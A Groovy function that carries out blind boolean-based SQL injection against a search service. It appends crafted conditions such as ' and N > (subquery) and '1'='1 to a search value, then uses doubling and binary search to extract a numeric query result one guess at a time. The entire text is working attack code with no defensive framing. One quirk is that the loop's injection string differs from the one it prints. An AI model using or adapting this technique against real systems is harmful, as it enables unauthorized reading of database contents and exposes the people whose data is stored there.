// get a number def getNumber(String positiveValue, String sqlText) { // ------------------------------------------------------- // get a number as a result of execution on the select statement - sqlText // parameters: // positiveValue - a string that returns some data from the search service // sqlText - a select statement returning a single number, // e.g. 'select count(*) from dual' // println "read a numeric value using injection string:" println "${positiveValue}' and \${checkedNumber} > (${sqlText}) and '1'='1" int guessLo = 0 // get an upper bound using power of 2 int guessHi = 2 // if the service returns a row then guessHi > target_number and we can quit the loop print "starting with upper limit ... " while (!(isFound("${positiveValue}' and ${guessHi} > (${sqlText}) and '1'='1"))) { guessHi = guessHi*2 } println guessHi // String x while (guessLo < guessHi) { int check = guessLo + (guessHi - guessLo +1)/ 2 print "testing ${check} ..." x = "${positiveValue}%' and ${check} > (${sqlText}) and '%'='" // if the service returns a row then check > target_number if (isFound(x)) {guessHi = check-1; println 'higher'} else {guessLo = check; println 'lower or equal'} } println "found ${guessLo}" return guessLo }